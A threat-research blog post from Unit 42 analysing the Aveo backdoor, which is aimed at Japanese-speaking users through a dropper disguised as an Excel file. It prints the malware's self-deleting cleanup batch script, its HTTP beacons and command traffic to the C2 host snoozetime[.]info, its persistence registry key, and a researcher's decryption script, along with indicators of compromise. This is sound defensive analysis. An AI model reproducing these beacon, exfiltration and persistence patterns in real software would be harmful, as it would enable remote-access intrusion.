[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  English
* [English](https://unit42.paloaltonetworks.com/unit42-aveo-malware-family-targets-japanese-speaking-users/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/unit42-aveo-malware-family-targets-japanese-speaking-users/)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# Aveo Malware Family Targets Japanese Speaking Users

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 5 min read

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:August 16, 2016

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [Aveo](https://unit42.paloaltonetworks.com/tag/aveo/)
  * [FormerFirstRAT](https://unit42.paloaltonetworks.com/tag/formerfirstrat/)
  * [Ido Laboratory](https://unit42.paloaltonetworks.com/tag/ido-laboratory/)
  * [Microsoft](https://unit42.paloaltonetworks.com/tag/microsoft/)
  * [Snoozetime](https://unit42.paloaltonetworks.com/tag/snoozetime/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit42-aveo-malware-family-targets-japanese-speaking-users/?pdf=download&lg=en&_wpnonce=7c3dfffa8c "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit42-aveo-malware-family-targets-japanese-speaking-users/?pdf=print&lg=en&_wpnonce=7c3dfffa8c "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Aveo%20Malware%20Family%20Targets%20Japanese%20Speaking%20Users&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-aveo-malware-family-targets-japanese-speaking-users%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-aveo-malware-family-targets-japanese-speaking-users%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-aveo-malware-family-targets-japanese-speaking-users%2F&title=Aveo%20Malware%20Family%20Targets%20Japanese%20Speaking%20Users "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-aveo-malware-family-targets-japanese-speaking-users%2F&text=Aveo%20Malware%20Family%20Targets%20Japanese%20Speaking%20Users "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-aveo-malware-family-targets-japanese-speaking-users%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Aveo%20Malware%20Family%20Targets%20Japanese%20Speaking%20Users%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-aveo-malware-family-targets-japanese-speaking-users%2F "Share in Mastodon")
  Palo Alto Networks has identified a malware family known as 'Aveo' that is being used to target Japanese speaking users. The 'Aveo' malware name comes from an embedded debug string within the binary file. The Aveo malware family has close ties to the previously discussed FormerFirstRAT malware family, which was also witnessed [being used against Japanese targets](https://blog.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/). Aveo is disguised as a Microsoft Excel document, and drops a decoy document upon execution. The decoy document in question is related to a research initiative led by the Ido Laboratory at the Saitama Institute of Technology. Upon execution, the Aveo malware accepts a number of commands, allowing attackers to take full control over the victim machine.

### Deployment

The Aveo malware sample disguises itself as a Microsoft Excel document, as the icon below demonstrates. Note that the filename of 'malware.exe' is simply a placeholder, as the original filename is unknown.

[![Aveo Malware 1](http://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-1-5.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-1-5.png)

*Figure 1 Microsoft Excel icon used by Aveo malware*

The executable is in fact a WinRAR self-extracting executable file, which will drop the decoy document and Aveo Trojan upon execution. The following decoy document is dropped and subsequently opened when run.

[![Aveo Malware 2](http://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-2-500x593.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-2.png)

*Figure 2 Decoy document used with Aveo malware*

This decoy document is hosted on the Ido Laboratory and contains information about a 2016 research initiative. The document lists participants in the 16^th^ CAVE workshop, including names, affiliations, and email addresses of those involved. The document, written in Japanese, as well as the filename of this document, "CAVE研究会参加者.xls", indicates that this malware was used to target one or more Japanese speaking individuals. Additionally, the similarities between the Aveo and FormerFirstRAT malware families, which will be discussed later in the post, further add evidence that Japanese speakers are being targeted.

### Infrastructure

The Aveo Trojan is configured to communicate with the following domain name over HTTP.

* snoozetime\[.\]info

This domain was first registered in May 2015 to 'jack.ondo@mail.com'. Since that time, it has since been associated with the following three IP addresses:

* 104\.202.173\[.\]82
* 107\.180.36\[.\]179
* 50\.63.202\[.\]38

All IP addresses in question are located within the United States.

[![Aveo Malware 3](http://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-3-500x229.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-3.png)

*Figure 3 PassiveTotal screenshot showing associated IP addresses with snoozetime\[.\]info*

The WHOIS information for snoozetime\[.\]info lists a registrant email address of 'jack.ondo@mail\[.\]com' and a name of 'aygt5ruhrj aygt5ruhrj gerhjrt'. Pivoting off of these two pieces of information to domains that share the same yields the following additional domains and email addresses.

* bluepaint\[.\]info
* coinpack\[.\]info
* 7b7p\[.\]info
* donkeyhaws\[.\]info
* europcubit\[.\]com
* jhmiyh.ny@gmail\[.\]com
* 844148030@qq\[.\]com

### Malware Analysis

After running the self-extracting executable, a number of files are dropped to the file system and the following execution flow is witnessed:

[![Aveo Malware 4](http://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-4-500x216.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-4.png)

*Figure 4 Malware execution flow*

When the mshelp32.exe executable runs, it begins by reading in the setting32.ini file, which contains the name of the decoy document. This information is used to build a batch script, such as the following.  
@echo off copy "CAVE研究会参加者.xls" "C:\\Documents and Settings\\Administrator\\Desktop\\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.xls" /Y del "CAVE研究会参加者.xls" /F /Q del mshelp32.exe /F /Q del setting32.ini /F /Q del "C:\\Documents and Settings\\Administrator\\Desktop\\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.exe" /F /Q del %0 /F /Q

|---------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 | @echo off copy "CAVE研究会参加者.xls" "C:\\Documents and Settings\\Administrator\\Desktop\\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.xls" /Y del "CAVE研究会参加者.xls" /F /Q del mshelp32.exe /F /Q del setting32.ini /F /Q del "C:\\Documents and Settings\\Administrator\\Desktop\\8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d.exe" /F /Q del %0 /F /Q |

This batch script is executed within a new process, and acts as a simple cleanup script that runs after Aveo and the decoy document are executed.

### Aveo Malware Family

The Aveo malware initially runs an install routine, which will copy itself to the following location:

* %APPDATA%\\MMC\\MMC.exe

If for any reason the %APPDATA%\\MMC directory is unable to be created, Aveo will use %TEMP% instead of %APPDATA%.

After the malware copies itself, it will execute MMC.exe in a new process with an argument of the original filename. When executed, if this single argument is provided, the malware will delete the file path provided.

After the installation routine completes, Aveo will exfiltrate the following victim information to a remote server via HTTP.

* Unique victim hash
* IP Address
* Microsoft Windows version
* Username
* ANSI code page identifier

This information is exfiltrated to the 'snoozetime\[.\]info' domain, as seen in the following example HTTP request:  
GET /index.php?id=35467\&1=ySxlp03YGm0-\&2=yiFi6hjbFHf9UtL44RPQ\&4=zTZh6h7bHGjiUMzn\&5=sXcjrAmqXiyiGJWzuUQ-\&6=yipl9g-- HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: snoozetime\[.\]info Cache-Control: no-cache

|-----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 | GET /index.php?id=35467\&1=ySxlp03YGm0-\&2=yiFi6hjbFHf9UtL44RPQ\&4=zTZh6h7bHGjiUMzn\&5=sXcjrAmqXiyiGJWzuUQ-\&6=yipl9g-- HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: snoozetime\[.\]info Cache-Control: no-cache |

To encrypt the provided data, the malware makes use of the RC4 algorithm, using a key of 'hello'. As shown in the following image, the encryption routines between Aveo and FormerFirstRAT are almost identical, with only the algorithms and keys being changed.  
[![Aveo Malware 5](http://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-5-500x204.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/08/Aveo-Malware-5.png)

*Figure 5 Comparison of encryption function between Aveo and FormerFirstRAT*

In order to decrypt the data provided via HTTP, the following code may be used:  
import base64 from binascii import \* from struct import \* from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt CALG\_RC4 = 0x6801 CALG\_MD5 = 0x8003 def decrypt(data): md5\_hasher = CryptCreateHash(CALG\_MD5) CryptHashData(md5\_hasher, 'hello') generated\_key = CryptDeriveKey(md5\_hasher, CALG\_RC4) decrypted\_data = CryptDecrypt(generated\_key, data) return decrypted\_data for a in 'index.php?id=35467\&1=niBo9x/bFG4-\&2=yi9i6hjbAmD5TNPu5A--\&4=zTZh6h7bHGjiUMzn\&5=sXcjrAmqXiyiGJWzuUQ-\&6=yipl9g--'.split("\&")\[1:\]: k,v = a.split("=") decrypted = decrypt(base64.b64decode(v.replace("-","="))) print "\[+\] Parameter {} Decrypted: {}".format(k, decrypted)

|-------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import base64 from binascii import \* from struct import \* from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt CALG\_RC4 = 0x6801 CALG\_MD5 = 0x8003 def decrypt(data): md5\_hasher = CryptCreateHash(CALG\_MD5) CryptHashData(md5\_hasher, 'hello') generated\_key = CryptDeriveKey(md5\_hasher, CALG\_RC4) decrypted\_data = CryptDecrypt(generated\_key, data) return decrypted\_data for a in 'index.php?id=35467\&1=niBo9x/bFG4-\&2=yi9i6hjbAmD5TNPu5A--\&4=zTZh6h7bHGjiUMzn\&5=sXcjrAmqXiyiGJWzuUQ-\&6=yipl9g--'.split("\&")\[1:\]: k,v = a.split("=") decrypted = decrypt(base64.b64decode(v.replace("-","="))) print "\[+\] Parameter {} Decrypted: {}".format(k, decrypted) |

Running the code above yields the following results:  
\[+\] Parameter 1 Decrypted: e8836687 \[+\] Parameter 2 Decrypted: 172.16.95.184 \[+\] Parameter 4 Decrypted: 6.1.7601.2.1 \[+\] Parameter 5 Decrypted: Josh Grunzweig \[+\] Parameter 6 Decrypted: 1252

|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 | \[+\] Parameter 1 Decrypted: e8836687 \[+\] Parameter 2 Decrypted: 172.16.95.184 \[+\] Parameter 4 Decrypted: 6.1.7601.2.1 \[+\] Parameter 5 Decrypted: Josh Grunzweig \[+\] Parameter 6 Decrypted: 1252 |

After the initial victim information is exfiltrated, the malware expects a response of 'OK'. Afterwards, Aveo will spawn a new thread that is responsible for handling interactive command requests received by the command and control (C2) server, as well as requests to spawn an interactive shell.

Aveo proceeds to set the following registry key to point towards the malware's path, thus ensuring persistence across reboots:

*HKCU\\software\\microsoft\\windows\\currentversion\\run\\msnetbridge*

A command handler loop is then entered, where Aveo will accept commands from the remote C2. While the Aveo malware family awaits a response, it will perform sleep delays of randomly chosen intervals between 0 and 3276 milliseconds. Should the C2 server respond with 'toyota', it will set that interval to 60 seconds. Aveo accepts the following commands, shown with their associated function.

* 1 : Execute command in interactive shell
* 2 : Get file attributes
* 3 : Write file
* 4 : Read file
* 5 : List drives
* 6 : Execute DIR command against path

The following example request demonstrates the C2 server sending the 'ipconfig' command to the Aveo malware.

**C2 Request**  
GET /index.php?id=35468\&1=niBo9x/bFG4- HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: snoozetime\[.\]info Cache-Control: no-cache HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 11 Server: Werkzeug/0.11.10 Python/2.7.5 Date: Wed, 10 Aug 2016 16:00:11 GMT \\xca89\\xb4J\\x82B?\\xa5\\x05\\xe8 \[Decrypted\] 1 ipconfig

|----------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | GET /index.php?id=35468\&1=niBo9x/bFG4- HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: snoozetime\[.\]info Cache-Control: no-cache HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 11 Server: Werkzeug/0.11.10 Python/2.7.5 Date: Wed, 10 Aug 2016 16:00:11 GMT \\xca89\\xb4J\\x82B?\\xa5\\x05\\xe8 \[Decrypted\] 1 ipconfig |

**Aveo Response**  
POST /index.php?id=35469\&1=niBo9x/bFG4- HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: snoozetime\[.\]info Content-Length: 1006 Cache-Control: no-cache \\xca\\x38\\x39\\xb4\\x4a\\x82\\x42\\x3f\\xa5\\x05\\xe8\\xdb\\xda\\x74\\x8b\\x79\\x39\\x46\\xf2\\x42\\x1f\\xcd\\x39\\xf3\\x65\\x1d\\xda\\x49\\x40\\x6c\\x5e\\x6e\\xab\\x79\\xc2\\x44\\xc3\\xb0\\x12\\xfd\\xe2\\x84\\x67\\x0d\\xa5\\xd3\\x50\\x2d\\x1c\\x31\\x4a\\x9e\\xcb\\x3d\\x08\\xe6\\x1b\\x04\\x85\\xbf\\x11\\x0e\\x96\\x63\\xcf\\x71\\xfe\\xe4\\x97\\x2a\\xdc\\x12\\x23\\x4d\\xcb\\x0f\\x93\\x30\\xbc\\xa0\\xc8\\x4e\\x4e\\xd8\\xdb\\x33\\xa2\\xbe\\xff\\x5e\\x89\\x22\\xb9\\x16\\xd1\\xf0\\x60\\x71\\x64\\x7a\\x10\\xb8\\x78\\x76\\xe5\\x08\\x90\\x46\\x30\\xa3\\xe2\\x4e\\xdc\\x98\\x11\\x27\\x62\\x38\\x00\\xb4\\x54\\x6d\\xd7\\x5b\\x19\\x5f\\x19\\xb8\\xd1\\xf5\\xc1\\x9b\\x97\\xda\\x84\\x2c\\xdd\\x2d\\x97\\x0a\\x69\\x51\\xd9\\x31\\x77\\x4a\\xe2\\x7f\\x5e\\xc5\\xaf\\x02\\x3c\\x69\\x9c\\x5f\\x94\\x3e\\x0c\\x25\\xce\\x63\\xa9\\x43\\xff\\x34\\x25\\x42\\x95\\xa9\\x1f\\xaa\\xdf\\x2b\\xa7\\xb1\\xc0\\x3 \[Truncated\] \[Decrypted\] 1 ipconfig Windows IP Configuration Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : \[Truncated\]

|-------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST /index.php?id=35469\&1=niBo9x/bFG4- HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: snoozetime\[.\]info Content-Length: 1006 Cache-Control: no-cache \\xca\\x38\\x39\\xb4\\x4a\\x82\\x42\\x3f\\xa5\\x05\\xe8\\xdb\\xda\\x74\\x8b\\x79\\x39\\x46\\xf2\\x42\\x1f\\xcd\\x39\\xf3\\x65\\x1d\\xda\\x49\\x40\\x6c\\x5e\\x6e\\xab\\x79\\xc2\\x44\\xc3\\xb0\\x12\\xfd\\xe2\\x84\\x67\\x0d\\xa5\\xd3\\x50\\x2d\\x1c\\x31\\x4a\\x9e\\xcb\\x3d\\x08\\xe6\\x1b\\x04\\x85\\xbf\\x11\\x0e\\x96\\x63\\xcf\\x71\\xfe\\xe4\\x97\\x2a\\xdc\\x12\\x23\\x4d\\xcb\\x0f\\x93\\x30\\xbc\\xa0\\xc8\\x4e\\x4e\\xd8\\xdb\\x33\\xa2\\xbe\\xff\\x5e\\x89\\x22\\xb9\\x16\\xd1\\xf0\\x60\\x71\\x64\\x7a\\x10\\xb8\\x78\\x76\\xe5\\x08\\x90\\x46\\x30\\xa3\\xe2\\x4e\\xdc\\x98\\x11\\x27\\x62\\x38\\x00\\xb4\\x54\\x6d\\xd7\\x5b\\x19\\x5f\\x19\\xb8\\xd1\\xf5\\xc1\\x9b\\x97\\xda\\x84\\x2c\\xdd\\x2d\\x97\\x0a\\x69\\x51\\xd9\\x31\\x77\\x4a\\xe2\\x7f\\x5e\\xc5\\xaf\\x02\\x3c\\x69\\x9c\\x5f\\x94\\x3e\\x0c\\x25\\xce\\x63\\xa9\\x43\\xff\\x34\\x25\\x42\\x95\\xa9\\x1f\\xaa\\xdf\\x2b\\xa7\\xb1\\xc0\\x3 \[Truncated\] \[Decrypted\] 1 ipconfig Windows IP Configuration Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : \[Truncated\] |

### Conclusion

Aveo shares a number of characteristics with FormerFirstRAT, including encryption routines, code reuse, and similarities in C2 functionality. Aveo is far from the most sophisticated malware family around. As witnessed in the previously discussed FormerFirstRAT sample, this related malware family also looks to be targeting Japanese speaking users. Using a self-extracting WinRAR file, the malware drops a decoy document, a copy of the Aveo malware, and a cleanup script.

Palo Alto Networks customers are protected from this threat in the following ways:

* An AutoFocus tag has been [created](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Aveo) to track and monitor this threat
* WildFire classifies Aveo samples as malicious
* C2 domains listed in this report are blocked through Threat Prevention.

### Indicators of Compromise

**SHA256 Hashes**

9dccfdd2a503ef8614189225bbbac11ee6027590c577afcaada7e042e18625e2  
8101c298a33d91a985a5150d0254cf426601e4632250f5a03ddac39375e7fb4d

**C2 Domains**

snoozetime\[.\]info

**Registry Keys**

HKCU\\software\\microsoft\\windows\\currentversion\\run\\msnetbridge

**File Paths**

%APPDATA%\\MMC\\MMC.exe  
%TEMP%\\MMC\\MMC.exe
Back to top

### Tags

* [Aveo](https://unit42.paloaltonetworks.com/tag/aveo/ "Aveo")
* [FormerFirstRAT](https://unit42.paloaltonetworks.com/tag/formerfirstrat/ "FormerFirstRAT")
* [Ido Laboratory](https://unit42.paloaltonetworks.com/tag/ido-laboratory/ "Ido Laboratory")
* [Microsoft](https://unit42.paloaltonetworks.com/tag/microsoft/ "Microsoft")
* [Snoozetime](https://unit42.paloaltonetworks.com/tag/snoozetime/ "snoozetime")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Unit 42 Researchers Recognized in MSRC Top 100 List](https://unit42.paloaltonetworks.com/unit42-researchers-recognized-in-msrc-top-100-list/ "Unit 42 Researchers Recognized in MSRC Top 100 List")

### Related Articles

* [How We Added WebAuthn to a Browser-Based RDP Client](https://unit42.paloaltonetworks.com/webauthn-added-to-browser-based-rdp/ "article - table of contents")
* [Inside AD CS Escalation: Unpacking Advanced Misuse Techniques and Tools](https://unit42.paloaltonetworks.com/active-directory-certificate-services-exploitation/ "article - table of contents")
* [Microsoft WSUS Remote Code Execution (CVE-2025-59287) Actively Exploited in the Wild (Updated November 3)](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/ "article - table of contents")

## Related Malware Resources

![Pictorial representation of a magnifying glass illuminating a glowing orange circular digital circuit interface on a dark, high-tech background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Myth-Busting_Overview_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) September 16, 2026 [#### Atomic macOS (AMOS) Stealer Activity](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/)

* [MacOS](https://unit42.paloaltonetworks.com/tag/macos/ "macOS")

* [Threat intelligence](https://unit42.paloaltonetworks.com/tag/threat-intelligence/ "threat intelligence")

* [Unit 42](https://unit42.paloaltonetworks.com/tag/unit-42/ "Unit 42")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/ "Atomic macOS (AMOS) Stealer Activity")  
  ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

